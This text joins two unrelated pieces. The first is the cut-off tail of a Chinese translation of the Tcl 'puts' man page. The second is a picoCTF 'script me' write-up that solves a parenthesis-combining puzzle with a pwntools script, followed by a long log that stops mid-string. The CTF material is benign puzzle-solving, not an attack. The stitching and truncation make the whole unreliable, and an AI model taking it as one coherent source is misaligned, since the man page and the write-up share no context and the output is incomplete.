\fR?\fB\-nonewline\fR? ?\fIchannelId\fR? \fIstring\fR .BE .SH "描述 DESCRIPTION" .PP 把用 \fIstring\fR 给出的字符写到用 \fIchannelId \fR给出的通道中。 \fIChannelId\fR 必须是从以前的 \fBopen\fR 或 \fBsocket\fR 调用返回的一个通道标识符。它必须为输出而打开。如果未指定 \fIchannelId\fR 则取省为 \fBstdout\fR。\fBPuts\fR 通常在 \fIstring \fR后面输出一个换行字符,但可以通过指定 \fB-nonewline\fR 开关来禁止这个特征。 .PP \fBputs\fR 依照给这个通道的 \fB-translation\fR 选项的值把在输出中换行(Newline)字符转换成特定于平台的行结束序列(例如,在 PC 上换行一般被替换成回车换行(carriage-return-linefeed)序列;在 Macintoshe 上换行通常被替换成回车符(carriage-returns))。关于 \fBfconfigure\fR 如何改变输出的讨论请参见 \fBfconfigure\fR 手册条目。 .PP Tcl 在内部缓冲输出,所以用 \fBputs\fR 写的字符可能不会在输出文件或设备上立即出现;Tcl 通常延迟输出,一直等到缓冲区满了或通道被关闭。你可以通过 \fBflush\fR 命令强制输出立即出现。 .PP 当输出缓冲被添满的时候,在所有缓冲的数据被操作系统接受以便输出之前,\fBputs\fR 命令将一直阻塞。如果 \fIchannelId\fR 在非阻塞模式下,那么即使操作系统不接受这些数据,\fBputs\fR 命令也不阻塞。作为替代,Tcl 继续缓冲这些数据并在后台以底层的文件或设备可以接受的速度写它们。要使非阻塞的输出工作应用必须使用 Tcl 事件循环;否则 Tcl 不能发现文件或设备已经准备好接收更多的输出数据。在非阻塞模式下的一个通道可以缓冲任意数量的数据,这可能消耗大量的内存。要避免浪费内存,非阻塞 I/O 通常应该以事件驱动的方式用于 \fBfileevent\fR 命令(除非在通过一个文件事件得到指示,通知你通道已经准备好接收更多的数据,否则不要调用 \fBputs\fR)。 .SH "参见 SEE ALSO" file(n), fileevent(n) .SH "关键字 KEYWORDS" channel, newline, output, write .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/10/17 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# script me General Skills, 500 points ## Description: > Can you understand the language and answer the questions to retrieve the flag? ## Solution: Let's connect to the server: ``` root@kali:/media/sf_CTFs/pico/script_me# nc 2018shell3.picoctf.com 7866 Rules: () + () = ()() => [combine] ((())) + () = ((())()) => [absorb-right] () + ((())) = (()(())) => [absorb-left] (())(()) + () = (())(()()) => [combined-absorb-right] () + (())(()) = (()())(()) => [combined-absorb-left] (())(()) + ((())) = ((())(())(())) => [absorb-combined-right] ((())) + (())(()) = ((())(())(())) => [absorb-combined-left] () + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative] Example: (()) + () = () + (()) = (()()) Let's start with a warmup. ()() + (()()) = ??? > ``` Seems pretty simple from the examples, but after the warmup come much more complicated and non-trivial equations. It took endless trials, but eventually what matters is the max "depth" of each element - deeper elements are "stronger". The script: ```python from pwn import * def get_depth(group): current_depth = 0 max_depth = 0 for c in group: if c == '(': current_depth += 1 max_depth = max(current_depth, max_depth) elif c == ')': current_depth -= 1 return max_depth def solve(s): s = s.replace(" = ???", "").strip() groups = s.split(" + ") while len(groups) > 1: log.info("Handling elements 1+2 out of {}".format(len(groups))) group1 = groups.pop(0) group2 = groups.pop(0) #print "{}, {}".format(group1, group2) d1 = get_depth(group1) d2 = get_depth(group2) log.info("Depth1: {}, Depth2: {}".format(d1, d2)) if d1 > d2: new_group = group1[:-1] + group2 + ')' elif d2 > d1: new_group = '(' + group1 + group2[1:] else: new_group = group1 + group2 groups.insert(0, new_group) log.info("New element:\n{}".format(new_group)) return groups[0] r = remote("2018shell3.picoctf.com", 7866) r.recvuntil("warmup.") while True: line = r.recvline_contains(["???", "pico"]) log.info("Received:\n{}".format(line)) if "pico" in line: break r.recvuntil("> ") answer = solve(line) log.info("Responded: \n{}".format(answer)) r.sendline(answer) line = r.recvline() if not "Correct!" in line: print r.recvall() break ``` The output: ``` [x] Opening connection to 2018shell3.picoctf.com on port 7866 [x] Opening connection to 2018shell3.picoctf.com on port 7866: Trying 18.224.26.75 [+] Opening connection to 2018shell3.picoctf.com on port 7866: Done [*] Received: (()()) + ((())()) = ??? [*] Handling elements 1+2 out of 2 [*] Depth1: 2, Depth2: 3 [*] New element: ((()())(())()) [*] Responded: ((()())(())()) [*] Received: () + (()(())) + (()) = ??? [*] Handling elements 1+2 out of 3 [*] Depth1: 1, Depth2: 3 [*] New element: (()()(())) [*] Handling elements 1+2 out of 2 [*] Depth1: 3, Depth2: 2 [*] New element: (()()(())(())) [*] Responded: (()()(())(())) [*] Received: (()) + (()()) + (()()) + ((())()) + ()()() = ??? [*] Handling elements 1+2 out of 5 [*] Depth1: 2, Depth2: 2 [*] New element: (())(()()) [*] Handling elements 1+2 out of 4 [*] Depth1: 2, Depth2: 2 [*] New element: (())(()())(()()) [*] Handling elements 1+2 out of 3 [*] Depth1: 2, Depth2: 3 [*] New element: ((())(()())(()())(())()) [*] Handling elements 1+2 out of 2 [*] Depth1: 3, Depth2: 1 [*] New element: ((())(()())(()())(())()()()()) [*] Responded: ((())(()())(()())(())()()()()) [*] Received: (()()) + ()() + (((()(())((()))(((())))()()))()) + (()()()) + (()(((()()())()())()())) + (((()())()())()) + (()()()()()()()()) + (()()()()()()()()) + (()(())((()))(((())))((((()))))) + (()()()()()()()()) = ??? [*] Handling elements 1+2 out of 10 [*] Depth1: 2, Depth2: 1 [*] New element: (()()()()) [*] Handling elements 1+2 out of 9 [*] Depth1: 2, Depth2: 7 [*] New element: ((()()()())((()(())((()))(((())))()()))()) [*] Handling elements 1+2 out of 8 [*] Depth1: 7, Depth2: 2 [*] New element: ((()()()())((()(())((()))(((())))()()))()(()()())) [*] Handling elements 1+2 out of 7 [*] Depth1: 7, Depth2: 5 [*] New element: ((()()()())((()(())((()))(((())))()()))()(()()())(()(((()()())()())()()))) [*] Handling elements 1+2 out of 6 [*] Depth1: 7, Depth2: 4 [*] New element: ((()()()())((()(())((()))(((())))()()))()(()()())(()(((()()())()())()()))(((()())()())())) [*] Handling elements 1+2 out of 5 [*] Depth1: 7, Depth2: 2 [*] New element: ((()()()())((()(())((()))(((())))()()))()(()()())(()(((()()())()())()()))(((()())()())())(()()()()()()()())) [*] Handling elements 1+2 out of 4 [*] Depth1: 7, Depth2: 2 [*] New element: ((()()()())((()(())((()))(((())))()()))()(()()())(()(((()()())()())()()))(((()())()())())(()()()()()()()())(()()()()()()()())) [*] Handling elements 1+2 out of 3 [*] Depth1: 7, Depth2: 6 [*] New element: ((()()()())((()(())((()))(((())))()()))()(()()())(()(((()()())()())()()))(((()())()())())(()()()()()()()())(()()()()()()()())(()(())((()))(((())))((((())))))) [*] Handling elements 1+2 out of 2 [*] Depth1: 7, Depth2: 2 [*] New element: ((()()()())((()(())((()))(((())))()()))()(()()())(()(((()()())()())()()))(((()())()())())(()()()()()()()())(()()()()()()()())(()(())((()))(((())))((((())))))(()()()()()()()())) [*] Responded: ((()()()())((()(())((()))(((())))()()))()(()()())(()(((()()())()())()()))(((()())()())())(()()()()()()()())(()()()()()()()())(()(())((()))(((())))((((())))))(()()()()()()()())) [*] Received: (()(())()()(()()()()()()()())) + (()()()()()()()()()(())()()) + (((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))()) + (((()()()())((()())()())())((()(())((()))(((())))()()))()) + ((()())(())()(())((()))(((())))((((()))))) + ((()()(()))(()()()(())()())((()(())((()))(((())))()()))()) + (((())()(((()()())()())()()))((()(())((()))(((())))()()))()) + (((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))()) + (((())()()()(())()())((()(())((()))(((())))()()))()) + ((()()()()())()()()(())()()) + ((()()())(())((((()))))(((())))((()))(())()) + ()()()() + ((()())(()()()()()()()())((()())()())()) + ((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())()) + (((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((()))))) + (((()())(())())()(())((()))(((())))((((()))))) + (()(())(()()()()()()()()))(()()()(())()()) + (((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))()) + (()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + ((()()())()(())((()))(((())))((((()))))) + (((())()()()())((()())()())()) + (((()(()))((()())()())())()(())((()))(((())))((((()))))) + ((()()(())()())((()(())((()))(((())))()()))()) + ((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())) + (((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())()) + (()(()))(()()()(())()()) + ((()()(((()()())()())()()))()(())((()))(((())))((((()))))) + ((()()()(())()())((()())()())()) + (()(())()(())) + (()()()()()()(())()()) + (()()(())(()()()()()()()()))(()()()(())()()) + (((()())()(()))((()(())((()))(((())))()()))()) + ((((())())((()())()())())((()(())((()))(((())))()()))()) + ((()())(())()()()(())()()) + (()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + (()()()()()()()()()()()()()) + (((()())()(())()()())((()(())((()))(((())))()()))()) + ((()()())(()()())((()())()())()) + (((()()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())()) + ((()()()()()()(())()())((()())()())()) + (((()())()(()))((())())()(((()()())()())()())) + ((()()()())()(((()()())()())()())) + (()()()()())(()()()()()()()()) + ((()((()())()())())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())) + (((()())()(())()())((()())()())()) + ((()()())((()(())((()))(((())))()()))()) + ((()()(())()()())()(())((()))(((())))((((()))))) + (()()()()()(())()()) + (((()()())()(((()()())()())()()))((((()))))(((())))((()))(())()) + (()((((()))))(((())))((()))(())()) = ??? [*] Handling elements 1+2 out of 50 [*] Depth1: 3, Depth2: 3 [*] New element: (()(())()()(()()()()()()()()))(()()()()()()()()()(())()()) [*] Handling elements 1+2 out of 49 [*] Depth1: 3, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))()) [*] Handling elements 1+2 out of 48 [*] Depth1: 7, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()) [*] Handling elements 1+2 out of 47 [*] Depth1: 7, Depth2: 6 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((())))))) [*] Handling elements 1+2 out of 46 [*] Depth1: 7, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))()) [*] Handling elements 1+2 out of 45 [*] Depth1: 7, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))()) [*] Handling elements 1+2 out of 44 [*] Depth1: 7, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))()) [*] Handling elements 1+2 out of 43 [*] Depth1: 7, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()) [*] Handling elements 1+2 out of 42 [*] Depth1: 7, Depth2: 3 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())) [*] Handling elements 1+2 out of 41 [*] Depth1: 7, Depth2: 6 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())) [*] Handling elements 1+2 out of 40 [*] Depth1: 7, Depth2: 1 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()) [*] Handling elements 1+2 out of 39 [*] Depth1: 7, Depth2: 4 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())) [*] Handling elements 1+2 out of 38 [*] Depth1: 7, Depth2: 6 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())) [*] Handling elements 1+2 out of 37 [*] Depth1: 7, Depth2: 6 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))) [*] Handling elements 1+2 out of 36 [*] Depth1: 7, Depth2: 6 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))) [*] Handling elements 1+2 out of 35 [*] Depth1: 7, Depth2: 3 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()())) [*] Handling elements 1+2 out of 34 [*] Depth1: 7, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))()) [*] Handling elements 1+2 out of 33 [*] Depth1: 7, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) [*] Handling elements 1+2 out of 32 [*] Depth1: 7, Depth2: 6 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))) [*] Handling elements 1+2 out of 31 [*] Depth1: 7, Depth2: 4 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())) [*] Handling elements 1+2 out of 30 [*] Depth1: 7, Depth2: 6 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((())))))) [*] Handling elements 1+2 out of 29 [*] Depth1: 7, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))()) [*] Handling elements 1+2 out of 28 [*] Depth1: 7, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())) [*] Handling elements 1+2 out of 27 [*] Depth1: 7, Depth2: 6 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())) [*] Handling elements 1+2 out of 26 [*] Depth1: 7, Depth2: 3 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())) [*] Handling elements 1+2 out of 25 [*] Depth1: 7, Depth2: 6 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())(